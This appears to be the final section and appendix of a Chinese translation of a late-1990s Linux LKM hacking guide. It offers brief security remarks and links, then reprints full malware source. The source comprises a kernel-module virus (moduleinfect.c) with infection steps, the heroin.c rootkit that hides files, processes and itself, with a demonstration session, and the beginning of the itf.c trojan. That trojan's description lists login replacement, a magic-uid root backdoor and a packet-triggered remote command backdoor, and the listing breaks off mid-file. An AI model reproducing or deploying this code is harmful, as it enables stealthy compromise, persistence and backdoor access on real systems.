你大概会感到奇怪,既然LKM这么的不安全,那么为什么要使用他们呢。最初LKM是被设计使得用户更为方便的。 Linux和Microsoft相对立,因此开发者们需要一个使得老的Unxi系统更为吸引人和容易的方法。他们实现了 KDE和其他很好的东西。比如说,kerneld就是被用来使得模块处理更为容易的。但是要记住,越为简单和自动化的系统就会有越多的安全问题。不可能同时使得一个系统既让用户感到很方便又有足够的安全性。模块就是一个很好的这样的例子。
微软给了我们另外一个例子:考虑一下ActiveX吧,它(大概)是个好主意,用一个安全的设计来保证一切都是简单的。
因此,亲爱的Linux开发者们;请谨慎了,不要犯Microsoft的错误。不要创建一个好用,但是不安全的OS。把安全时刻记在心中!!!

这篇文章也很清楚的说明了任何系统的内核必须用最好的方法进行保护。不能让一个入侵者更改你系统中最为重要的部分。我把这个任务留给所有系统的设计者。:).

 

2. 一些资源的链接

这里是部份有关LKM的资源链接(并非所有都与hack&安全有关):
[网络资源]
http://www.linuxhq.com/
everything on Linux + nice kernel links
http://www.linuxlinks.com/
lots of links concerning Linux
http://www.linux.org/
'propaganda' page for Linux
http://www.lwn.net/
weekly Linux news; very interesting there are also kernel / securiy sections
http://www.phrack.com/
read issue 50 & 52 for interesting module information
http://www.rootshell.com/
they have some nice LKMs
http://www.geek-girl.com/bugtraq/
there were some discussions on LKM security
http://hispahack.ccc.de/
HISPAHACK homepage
http://r3wt.base.org/
THC homepage (articles, magazines and lots of tools)
http://www.antisearch.com/
one of the best security / hacking related search engines I know
http://www.kernel.org/

get the kernel and study it !

[书籍]
Linux-Kernel-Programming (Addison Wesley)
A very good book. I read the german version but I think there is also an english version.

Linux Device Drivers (O'Reilly)
A bit off topic, but also very interesting. The focus is more on writing LKMs as device drivers.

致意

组织 : THC, deep, ech0, ADM, =phake=

个人 :


mindmaniac - thanks for introducing 'the first contact'

background music groups (helping me to concentrate on writing :):

Neuroactive, Image Transmission, Panic on the Titanic, Dracul

 

A - 附录

你可以在这里找到一些源代码,如果LKM的作者发布了一些有趣的文档,他们也会在后续版本中打印出来。

LKM Infector

NAME : moduleinfect.c
AUTHOR : Stealthf0rk/SVAT
DESCRIPTION : This is the first published LKM infector which was discussed II.8. This LKM has no destruction routine, it's just an infector, so experimenting should be quite harmless.
LINK : http://www.rootshell.com/

van Hauser - thanks for giving me the chance to learn

/*     SVAT - Special Virii And Trojans - present:
*
* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
*
* 0kay guys, here we go...
* As i told you with VLP I (we try to write an fast-infector)
* here&#39;s the result:
* a full, non-overwriting module infector that catches
* lkm&#39;s due to create_module() and infects them (max. 7)
* if someone calls delete_module() [even on autoclean].
* Linux is not longer a virii-secure system :(
* and BSD follows next week ...
* Since it is not needed 2 get root (by the module) you should pay
* attention on liane.
* Note the asm code in function init_module().
* U should assemble your /usr/src/.../module.c with -S and your CFLAG
* from your Makefile and look for the returnvalue from the first call
* of find_module() in sys_init_module(). look where its stored (%ebp for me)
* and change it in __asm__ init_module()! (but may it is not needed)
*
* For education only!
* Run it only with permisson of the owner of the system you are logged on!!!
*
*     !!! YOU USE THIS AT YOUR OWN RISK !!!
*
* I&#39;m not responsible for any damage you may get due to playing around with this.
*
* okay guys, you have to find out some steps without my help:
*
*   1. $ cc -c -O2 module.c
*  2. get length of module.o and patch the #define MODLEN in module.c
*  3. $ ???
*    4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
*  5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
*  >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
*  6. $ insmod ???
*
* This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
* kernel 2.0.33. It works.
*
*   greets  (in no order...)
*   <><><><><><><><><><><><>
*
*   NetW0rker  - tkx for da sources
*  Serialkiller  - gib mir mal deine eMail-addy
*  hyperSlash  - 1st SVAT member, he ?
*  naleZ     - hehehe
*  MadMan    - NetW0rker wanted me to greet u !?
*  KilJaeden  - TurboDebugger and SoftIce are a good choice !
*
*  and all de otherz
*
*  Stealthf0rk/SVAT <[email protected]>
*/

#define __KERNEL__
#define MODULE
#define MODLEN 7104
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM  set_fs(old_fs);}


/* i&#39;m not sure we need all of &#39;em ...*/

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
  #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
  #define DPRINTK(format, args...)
#endif

/* where the sys_calls are */

extern void *sys_call_table[];

/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
* if you change the default_path[] values
*/

static char *default_path[] = {
  ".", "/linux/modules",
  "/lib/modules/2.0.33/fs",
  "/lib/modules/2.0.33/net",
  "/lib/modules/2.0.33/scsi",
  "/lib/modules/2.0.33/block",
  "/lib/modules/2.0.33/cdrom",
  "/lib/modules/2.0.33/ipv4",
  "/lib/modules/2.0.33/misc",
  "/lib/modules/default/fs",
  "/lib/modules/default/net",
  "/lib/modules/default/scsi",
  "/lib/modules/default/block",
  "/lib/modules/default/cdrom",
  "/lib/modules/default/ipv4",
  "/lib/modules/default/misc",
  "/lib/modules/fs",
  "/lib/modules/net",
  "/lib/modules/scsi",
  "/lib/modules/block",
  "/lib/modules/cdrom",
  "/lib/modules/ipv4",
  "/lib/modules/misc",
  0
};

static struct symbol_table my_symtab = {
    #include <linux/symtab_begin.h>
    X(printk),
      X(vmalloc),
      X(vfree),
      X(kerneld_send),
      X(current_set),
      X(sys_call_table),
      X(register_symtab_from),
      #include <linux/symtab_end.h>
};

char files2infect[7][60 + 2];

/* const char kernel_version[] = UTS_RELEASE; */

int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);

int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);

/* needed to be global */

void *VirCode = NULL;

/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
    /* magic number: 40hex :-) */
    if (mn == 0x40)
         return 0;
      else
         return -ENOSYS;
}

int new_create_module(char *name, int size)
{
    int i = 0, j = 0, retval = 0;
      
      if ((retval = old_create_module(name, size)) < 0)
         return retval;
      /* find next free place */
      for (i = 0; files2infect[0] && i < 7; i++);
      if (i == 6)
         return retval;
      /* get name of mod from user-space */
      while ((files2infect[j] = get_fs_byte(name + j)) != 0 && j < 60)
         j++;
  DPRINTK("in new_create_module: got %s as #%d\n", files2infect, i);
      return retval;
}

/* we infect modules after sys_delete_module, to be sure
* we don&#39;t confuse the kernel
*/

int new_delete_module(char *modname)
{
    static int infected = 0;
  int retval = 0, i = 0;
      char *s = NULL, *name = NULL;
      
      
      retval = old_delete_module(modname);

      if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
         return retval;

    for (i = 0; files2infect[0] && i < 7; i++) {
         strcat(files2infect, ".o");
           if ((s  = get_mod_name(files2infect)) == NULL) {
               return retval;
           }
           name = strcpy(name, s);
           if (!is_infected(name)) {
               DPRINTK("try 2 infect %s as #%d\n", name, i);
                infected++;
                infectfile(name);
           }
           memset(files2infect, 0, 60 + 2);
      } /* for */
      /* its enough */
      if (infected >= ENOUGH)
         cleanup_module();
      vfree(name);
      return retval;
}


/* lets take a look at sys_init_module(), that calls
* our init_module() compiled with
* CFLAG = ... -O2 -fomit-frame-pointer
* in C:
* ...
* if((mp = find_module(name)) == NULL)
* ...
*
* is in asm:
* ...
* call find_module
* movl %eax, %ebp
* ...
* note that there is no normal stack frame !!!
* thats the reason, why we find &#39;mp&#39; (return from find_module) in %ebp
* BUT only when compiled with the fomit-frame-pointer option !!!
* with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
* you should find mp at -4(%ebp) .
* thiz is very bad hijacking of local vars and an own topic.
* I hope you do not get an seg. fault.
*/

__asm__
("

.align 16
.globl init_module  
  .type init_module,@function 

init_module:
      pushl %ebp     /* ebp is a pointer to mp from sys_init_module() */
                   /* and the parameter for init_module2() */
      call init_module2      
      popl %eax
      xorl %eax, %eax     /* all good */
      ret              /* and return */
.hype27:
    .size init_module,.hype27-init_module
");
      
/* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
  *
  * pushl %ebx
  * movl %ebp, %ebx
  * pushl -4(%ebx)
  * call init_module2
  * addl $4, %esp
  * xorl %eax, %eax
  * popl %ebx
  * ret
  */

/*----------------------------------------------*/

int init_module2(struct module *mp)
{     
      char *s = NULL, *mod = NULL, *modname = NULL;
      long state = 0;
  
      mod = vmalloc(60 + 2);
  modname = vmalloc(MAXPATH + 60 + 2);
      if (!mod || !modname)
         return -1;      
      strcpy(mod, mp->name);
      strcat(mod, ".o");

   
      MOD_INC_USE_COUNT;      
      DPRINTK("in init_module2: mod = %s\n", mod);
      
      /* take also a look at phrack#52 ...*/
      mp->name = "";
      mp->ref = 0;
      mp->size = 0;

      /* thiz is our new main ,look for copys in kmem ! */
      if (sys_call_table[__NR_our_syscall] == 0) {   
    old_delete_module = sys_call_table[__NR_delete_module];  
           old_create_module = sys_call_table[__NR_create_module];
           sys_call_table[__NR_our_syscall] = (void*)our_syscall;     
           sys_call_table[__NR_delete_module] = (void*)new_delete_module;      
           sys_call_table[__NR_create_module] = (void*)new_create_module;
           memset(files2infect, 0, (60 + 2)*7);
           register_symtab(&my_symtab);
      }
      open = sys_call_table[__NR_open];
      close = sys_call_table[__NR_close];      
      unlink = sys_call_table[__NR_unlink];      
      
      if ((s = get_mod_name(mod)) == NULL)
         return -1;
      modname = strcpy(modname, s);
  load_real_mod(modname, mod);
  vfree(mod);
      vfree(modname);
  return 0;
}      

int cleanup_module()
{
  sys_call_table[__NR_delete_module] = old_delete_module;
      sys_call_table[__NR_create_module] = old_create_module;
      sys_call_table[__NR_our_syscall] = NULL;
      DPRINTK("in cleanup_module\n");
      vfree(VirCode);
      return 0;
}

/* returns 1 if infected;
* seek at position MODLEN + 1 and read out 3 bytes,
* if it is "ELF" it seems the file is already infected
*/

int is_infected(char *filename)
{
    char det[4] = {0};
      int fd = 0;
      struct file *file;

      DPRINTK("in is_infected: filename = %s\n", filename);
    BEGIN_KMEM
      fd = open(filename, O_RDONLY, 0);
      END_KMEM
      if (fd <= 0)
         return -1;
      if ((file = current->files->fd[fd]) == NULL)
         return -2;
      file->f_pos = MODLEN + 1;
      DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
      BEGIN_KMEM
      file->f_op->read(file->f_inode, file, det, 3);
      close(fd);
      END_KMEM
      DPRINTK("in is_infected: det = %s\n", det);
      if (strcmp(det, "ELF") == 0)
         return 1;
      else
         return 0;
}

/* copy the host-module to tmp, write VirCode to
* hostmodule, and append tmp.
* then delete tmp.
*/


int infectfile(char *filename)
{
      char *tmp = "/tmp/t000";
      int in = 0, out = 0;
      struct file *file1, *file2;
      
      BEGIN_KMEM
      in = open(filename, O_RDONLY, 0640);
      out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
      END_KMEM
      DPRINTK("in infectfile: in = %d out = %d\n", in, out);
      if (in <= 0 || out <= 0)
         return -1;
      file1 = current->files->fd[in];
      file2 = current->files->fd[out];
      if (!file1 || !file2)
         return -1;
      /* save hostcode */
      cp(file1, file2);
      BEGIN_KMEM
      file1->f_pos = 0;
      file2->f_pos = 0;
      /* write Vircode [from mem] */
      DPRINTK("in infetcfile: filenanme = %s\n", filename);
      file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
      /* append hostcode */
      cp(file2, file1);
      close(in);
      close(out);
      unlink(tmp);
      END_KMEM
    return 0;
}      

int disinfect(char *filename)
{

  char *tmp = "/tmp/t000";
      int in = 0, out = 0;
      struct file *file1, *file2;
      
      BEGIN_KMEM
      in = open(filename, O_RDONLY, 0640);
      out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
      END_KMEM
      DPRINTK("in disinfect: in = %d out = %d\n",in, out);
      if (in <= 0 || out <= 0)
         return -1;
      file1 = current->files->fd[in];
      file2 = current->files->fd[out];
      if (!file1 || !file2)
         return -1;
      /* save hostcode */
      cp(file1, file2);
  BEGIN_KMEM
   close(in);
      DPRINTK("in disinfect: filename = %s\n", filename);
      unlink(filename);
  in = open(filename, O_RDWR|O_CREAT, 0640);
  END_KMEM
  if (in <= 0)
    return -1;
  file1 = current->files->fd[in];
  if (!file1)
         return -1;
      file2->f_pos = MODLEN;
  cp(file2, file1);
  BEGIN_KMEM
  close(in);
  close(out);
  unlink(tmp);
  END_KMEM
  return 0;
}

/* a simple copy routine, that expects the file struct pointer
* of the files to be copied.
* So its possible to append files due to copieng.
*/

int cp(struct file *file1, struct file *file2)
{

    int in = 0, out = 0, r = 0;
      char *buf;
      
      if ((buf = (char*)vmalloc(10000)) == NULL)
         return -1;

      DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
      BEGIN_KMEM
      while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
         file2->f_op->write(file2->f_inode, file2, buf, r);
      file2->f_inode->i_mode = file1->f_inode->i_mode;
      file2->f_inode->i_atime = file1->f_inode->i_atime;
      file2->f_inode->i_mtime = file1->f_inode->i_mtime;
      file2->f_inode->i_ctime = file1->f_inode->i_ctime;
      END_KMEM
      vfree(buf);
      return 0;
}

/* Is that simple: we disinfect the module [hide &#39;n seek]
* and send a request to kerneld to load
* the orig mod. N0 fuckin&#39; parsing for symbols and headers
* is needed - cool.
*/
int load_real_mod(char *path_name, char *name)
{   
      int r = 0, i = 0;   
      struct file *file1, *file2;
      int in =  0, out = 0;

      DPRINTK("in load_real_mod name = %s\n", path_name);
      if (VirCode)
         vfree(VirCode);
      VirCode = vmalloc(MODLEN);
      if (!VirCode)
           return -1;
      BEGIN_KMEM
      in = open(path_name, O_RDONLY, 0640);
      END_KMEM
  if (in <= 0)
         return -1;
      file1 = current->files->fd[in];
      if (!file1)
           return -1;
      /* read Vircode [into mem] */
  BEGIN_KMEM
      file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
  close(in);
  END_KMEM
  disinfect(path_name);
      r = request_module(name);
      DPRINTK("in load_real_mod: request_module = %d\n", r);
      return 0;
}   
      
char *get_mod_name(char *mod)
{
  int fd = 0, i = 0;
  static char* modname = NULL;
  
  if (!modname)
    modname = vmalloc(MAXPATH + 60 + 2);
  if (!modname)
    return NULL;
  BEGIN_KMEM
      for (i = 0; (default_path && (strstr(mod, "/") == NULL)); i++) {
    memset(modname, 0, MAXPATH + 60 + 2);
    modname = strcpy(modname, default_path);
    modname = strcat(modname, "/");
           modname = strcat(modname, mod);
    if ((fd = open(modname, O_RDONLY, 0640)) > 0)
      break;
      }
      close(fd);
      END_KMEM   
      if (!default_path)
         return NULL;  
  return modname;  
}    

Herion - the classic one

NAME : Heroin
AUTHOR : Runar Jensen
DESCRIPTION : Runar Jensen introduced some nice ideas in his text, which were the first steps towards our modern Hide LKM by plaguez. The way Runar Jensen hides the module requires more coder work than the plaguez (Solar Designer and other people) approach, but it works. The way Runar Jensen hides processes is also a bit too complicated (well this text is quite old, and it was one of the first talking about LKM hacking), He uses a special signal code (31) in order to set a flag in a process structure which indicates that this process is going to be hidden, in the way we discussed in part II.
The rest should be clear.
LINK : http://www.rootshell.com/

As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
to patch any systemcall under Linux from within a module. This means that
once your system has been compromised at the root level, it is possible for
an intruder to hide completely _without_ modifying any binaries or leaving
any visible backdoors behind. Because such tools are likely to be in use
within the hacker community already, I decided to publish a piece of code to
demonstrate the potentials of a malicious module.

The following piece of code is a fully working Linux module for 2.1 kernels
that patches the getdents(), kill(), read() and query_module() calls. Once
loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
modifying the output of every query_module() call and every read() call
accessing /proc/modules. Apparently rmmod also calls query_module() to list
all modules before attempting to remove the specified module, and will
therefore claim that the module does not exist even if you know its name. The
output of any getdents() call is modified to hide any files or directories
starting with a given string, leaving them accessible only if you know their
exact names. It also hides any directories in /proc matching pids that have a
specified flag set in its internal task structure, allowing a user with root
access to hide any process (and its children, since the task structure is
duplicated when the process does a fork()). To set this flag, simply send the
process a signal 31 which is caught and handled by the patched kill() call.

To demonstrate the effects...

[root@image :~/test]# ls -l
total 3
-rw-------  1 root    root      2832 Oct  8 16:52 heroin.o
[root@image :~/test]# insmod heroin.o
[root@image :~/test]# lsmod | grep heroin
[root@image :~/test]# grep heroin /proc/modules
[root@image :~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image :~/test]# ls -l
total 0
[root@image :~/test]# echo "I&#39;m invisible" > heroin_test
[root@image :~/test]# ls -l
total 0
[root@image :~/test]# cat heroin_test
I&#39;m invisible
[root@image :~/test]# ps -aux | grep gpm
root     223  0.0  1.0  932  312  ?  S  16:08  0:00 gpm
[root@image :~/test]# kill -31 223
[root@image :~/test]# ps -aux | grep gpm
[root@image :~/test]# ps -aux 223
USER     PID %CPU %MEM  SIZE  RSS TTY STAT START  TIME COMMAND
root     223  0.0  1.0  932  312  ?  S  16:08  0:00 gpm
[root@image :~/test]# ls -l /proc | grep 223
[root@image :~/test]# ls -l /proc/223
total 0
-r--r--r--  1 root    root        0 Oct  8 16:53 cmdline
lrwx------  1 root    root        0 Oct  8 16:54 cwd -> /var/run
-r--------  1 root    root        0 Oct  8 16:54 environ
lrwx------  1 root    root        0 Oct  8 16:54 exe -> /usr/bin/gpm
dr-x------  1 root    root        0 Oct  8 16:54 fd
pr--r--r--  1 root    root        0 Oct  8 16:54 maps
-rw-------  1 root    root        0 Oct  8 16:54 mem
lrwx------  1 root    root        0 Oct  8 16:54 root -> /
-r--r--r--  1 root    root        0 Oct  8 16:53 stat
-r--r--r--  1 root    root        0 Oct  8 16:54 statm
-r--r--r--  1 root    root        0 Oct  8 16:54 status
[root@image :~/test]#

The implications should be obvious. Once a compromise has taken place,
nothing can be trusted, the operating system included. A module such as this
could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
after every reboot, or put in place of a commonly used module and in turn
have it load the required module for an added level of protection. (Thanks
Sean :) Combined with a reasonably obscure remote backdoor it could remain
undetected for long periods of time unless the system administrator knows
what to look for. It could even hide the packets going to and from this
backdoor from the kernel itself to prevent a local packet sniffer from seeing
them.

So how can it be detected? In this case, since the number of processes is
limited, one could try to open every possible process directory in /proc and
look for the ones that do not show up otherwise. Using readdir() instead of
getdents() will not work, since it appears to be just a wrapper for
getdents(). In short, trying to locate something like this without knowing
exactly what to look for is rather futile if done in userspace...

Be afraid. Be very afraid. ;)

.../ru

-----

/*
* heroin.c
*
* Runar Jensen <[email protected]>
*
* This Linux kernel module patches the getdents(), kill(), read()
* and query_module() system calls to demonstrate the potential
* dangers of the way modules have full access to the entire kernel.
*
* Once loaded, the module becomes invisible and can not be removed
* with rmmod. Any files or directories starting with the string
* defined by MAGIC_PREFIX appear to disappear, and sending a signal
* 31 to any process as root effectively hides it and all its future
* children.
*
* This code should compile cleanly and work with most (if not all)
* recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
* It will not compile as is under 2.0.30, since 2.0.30 lacks the
* query_module() function.
*
* Compile with:
*  gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
*/

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>

#define MAGIC_PREFIX "heroin"

#define PF_INVISIBLE 0x10000000
#define SIGINVISI 31

int errno;

static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline _syscall2(int, kill, pid_t, pid, int, sig);
static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);

extern void *sys_call_table[];

int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
int (*original_kill)(pid_t, int);
int (*original_read)(int, void *, size_t);
int (*original_query_module)(const char *, int, void *, size_t, size_t *);

int myatoi(char *str)
{
      int res = 0;
      int mul = 1;
      char *ptr;

      for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
           if(*ptr < &#39;0&#39; || *ptr > &#39;9&#39;)
                return(-1);
           res += (*ptr - &#39;0&#39;) * mul;
           mul *= 10;
      }
      return(res);
}

void mybcopy(char *src, char *dst, unsigned int num)
{
      while(num--)
           *(dst++) = *(src++);
}

int mystrcmp(char *str1, char *str2)
{
      while(*str1 && *str2)
           if(*(str1++) != *(str2++))
                return(-1);
      return(0);
}

struct task_struct *find_task(pid_t pid)
{
      struct task_struct *task = current;

      do {
           if(task->pid == pid)
                return(task);

           task = task->next_task;

      } while(task != current);

      return(NULL);
}

int is_invisible(pid_t pid)
{
      struct task_struct *task;

      if((task = find_task(pid)) == NULL)
           return(0);

      if(task->flags & PF_INVISIBLE)
           return(1);

      return(0);
}

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
      int res;
      int proc = 0;
      struct inode *dinode;
      char *ptr = (char *)dirp;
      struct dirent *curr;
      struct dirent *prev = NULL;

      res = (*original_getdents)(fd, dirp, count);

      if(!res)
           return(res);

      if(res == -1)
           return(-errno);

#ifdef __LINUX_DCACHE_H
      dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
      dinode = current->files->fd[fd]->f_inode;
#endif

      if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
           proc = 1;

      while(ptr < (char *)dirp + res) {
           curr = (struct dirent *)ptr;

           if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
                (proc && is_invisible(myatoi(curr->d_name)))) {

                if(curr == dirp) {
                      res -= curr->d_reclen;
                      mybcopy(ptr + curr->d_reclen, ptr, res);
                      continue;
                }
                else
                      prev->d_reclen += curr->d_reclen;
           }
           else
                prev = curr;

           ptr += curr->d_reclen;
      }

      return(res);
}

int hacked_kill(pid_t pid, int sig)
{
      int res;
      struct task_struct *task = current;

      if(sig != SIGINVISI) {
           res = (*original_kill)(pid, sig);

           if(res == -1)
                return(-errno);

           return(res);
      }

      if((task = find_task(pid)) == NULL)
           return(-ESRCH);

      if(current->uid && current->euid)
           return(-EPERM);

      task->flags |= PF_INVISIBLE;

      return(0);
}

int hacked_read(int fd, char *buf, size_t count)
{
      int res;
      char *ptr, *match;
      struct inode *dinode;

      res = (*original_read)(fd, buf, count);

      if(res == -1)
           return(-errno);

#ifdef __LINUX_DCACHE_H
      dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
      dinode = current->files->fd[fd]->f_inode;
#endif

      if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
           return(res);

      ptr = buf;

      while(ptr < buf + res) {
           if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                match = ptr;
                while(*ptr && *ptr != &#39;\n&#39;)
                      ptr++;
                ptr++;
                mybcopy(ptr, match, (buf + res) - ptr);
                res = res - (ptr - match);
                return(res);
           }
           while(*ptr && *ptr != &#39;\n&#39;)
                ptr++;
           ptr++;
      }

      return(res);
}

int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
{
      int res;
      int cnt;
      char *ptr, *match;

      res = (*original_query_module)(name, which, buf, bufsize, ret);

      if(res == -1)
           return(-errno);

      if(which != QM_MODULES)
           return(res);

      ptr = buf;

      for(cnt = 0; cnt < *ret; cnt++) {
           if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                match = ptr;
                while(*ptr)
                      ptr++;
                ptr++;
                mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
                (*ret)--;
                return(res);
           }
           while(*ptr)
                ptr++;
           ptr++;
      }

      return(res);
}

int init_module(void)
{
      original_getdents = sys_call_table[SYS_getdents];
      sys_call_table[SYS_getdents] = hacked_getdents;

      original_kill = sys_call_table[SYS_kill];
      sys_call_table[SYS_kill] = hacked_kill;

      original_read = sys_call_table[SYS_read];
      sys_call_table[SYS_read] = hacked_read;

      original_query_module = sys_call_table[SYS_query_module];
      sys_call_table[SYS_query_module] = hacked_query_module;

      return(0);
}

void cleanup_module(void)
{
      sys_call_table[SYS_getdents] = original_getdents;
      sys_call_table[SYS_kill] = original_kill;
      sys_call_table[SYS_read] = original_read;
      sys_call_table[SYS_query_module] = original_query_module;
}

-----

-----
Runar Jensen        | Phone  (318) 289-0125 | Email [email protected]
Network Administrator  |  or  (800) 264-7440 |  or  [email protected]
Tech Operations Mgr    | Fax   (318) 235-1447 | Epage [email protected]
FirstNet of Acadiana   | Pager  (318) 268-8533 |     [message in subject]

LKM Hider / Socket Backdoor

NAME : itf.c
AUTHOR : plaguez

DESCRIPTION : This very good LKM was published in phrack 52 (article 18 : 'Weakening the Linux Kernel'). I often refered to it although some ideas in it were also taken from other LKMs / texts which were published before. This module has everything you need to backdoor a system in a very effective way. Look at the text supplied with it for all of its features.

LINK : http://www.phrack.com/

Here is itf.c.  The goal of this program is to demonstrate kernel backdooring
techniques using systemcall redirection.  Once installed, it is very hard to
spot.

Its features include:

- stealth functions:  once insmod&#39;ed, itf will modify struct module *mp and
get_kernel_symbols(2) so it won&#39;t appear in /proc/modules or ksyms&#39; outputs.
Also, the module cannot be unloaded.

- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
hidden.  Note that you&#39;ll need to place the sniffer BEFORE insmod&#39;ing itf.o,
because itf will trap a change in the PROMISC flag and will then stop hidding
it (otherwise you&#39;d just have to do a ifconfig eth0 +promisc and you&#39;d spot
the module...).

- file hidder: itf will also patch the getdents(2) system calls, thus hidding
files containing a certain word in their filename.

- process hidder: using the same technique as described above, itf will hide
/procs/P螪 directories using argv entries.  Any process named with the magic
name will be hidden from the procfs tree.

- execve redirection: this implements Halflife&#39;s idea discussed in P51.
If a given program (notably /bin/login) is execve&#39;d, itf will execve
another program instead.  It uses tricks to overcome Linux memory managment
limitations: brk(2) is used to increase the calling program&#39;s data segment
size, thus allowing us to allocate user memory while in kernel mode (remember
that most system calls wait for arguments in user memory, not kernel mem).

- socket recvfrom() backdoor: when a packet matching a given size and a given
string is received, a non-interactive program will be executed.  Typicall use
is a shell script (which will be hidden using the magic name) that opens
another port and waits there for shell commands.

- setuid() trojan: like Halflife's stuff.  When a setuid() syscall with uid ==
magic number is done, the calling process will get uid = euid = gid = 0


<++> lkm_trojan.c

/*
 * itf.c v0.8
 * Linux Integrated Trojan Facility
 * (c) plaguez 1997  --  [email protected]
 * This is mostly not fully tested code. Use at your own risks.
 *
 * 
 * compile with:
 *   gcc -c -O3 -fomit-frame-pointer itf.c
 * Then:
 *   insmod itf
 * 
 * 
 * Thanks to Halflife and Solar Designer for their help/ideas. 
 *
 * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
 *
 * 
 */

#define MODULE
#define __KERNEL__


#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/errno.h>
#include <asm/segment.h>
#include <asm/pgtable.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socketcall.h>
#include <linux/netdevice.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/proc_fs.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>


/* Customization section 
 * - RECVEXEC is the full pathname of the program to be launched when a packet
 * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
 * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
 * to write more than execve(RECVEXEC,NULL,NULL); :)
 * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
 * when an execve() syscall occurs.
 * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
 * is made (like Halflife's code)
 * - files containing MAGICNAME in their full pathname will be invisible to
 * a getdents() system call.
 * - processes containing MAGICNAME in their process name will be hidden of the
 * procfs tree.
 */
#define MAGICNAME "w00w00T$!"
#define MAGICUID  31337
#define OLDEXEC   "/bin/login"
#define NEWEXEC   "/.w00w00T$!/w00w00T$!login"
#define RECVEXEC  "/.w00w00T$!/w00w00T$!recv"
#define MAGICSIZE sizeof(MAGICNAME)+10

/* old system calls vectors */
int (*o_getdents) (uint, struct dirent *, uint);
ssize_t(*o_readdir) (int, void *, size_t);
int (*o_setuid) (uid_t);
int (*o_execve) (const char *, const char *[], const char *[]);
int (*o_ioctl) (int, int, unsigned long);
int (*o_get_kernel_syms) (struct kernel_sym *);
ssize_t(*o_read) (int, void *, size_t);
int (*o_socketcall) (int, unsigned long *);
/* entry points to brk() and fork() syscall. */
static inline _syscall1(int, brk, void *, end_data_segment);
static inline _syscall0(int, fork);
static inline _syscall1(void, exit, int, status);

extern void *sys_call_table[];
extern struct proto tcp_prot;
int errno;

char mtroj[] = MAGICNAME;
int __NR_myexecve;
int promisc;



/*
 * String-oriented functions
 * (from user-space to kernel-space or invert)
 */

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
	dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
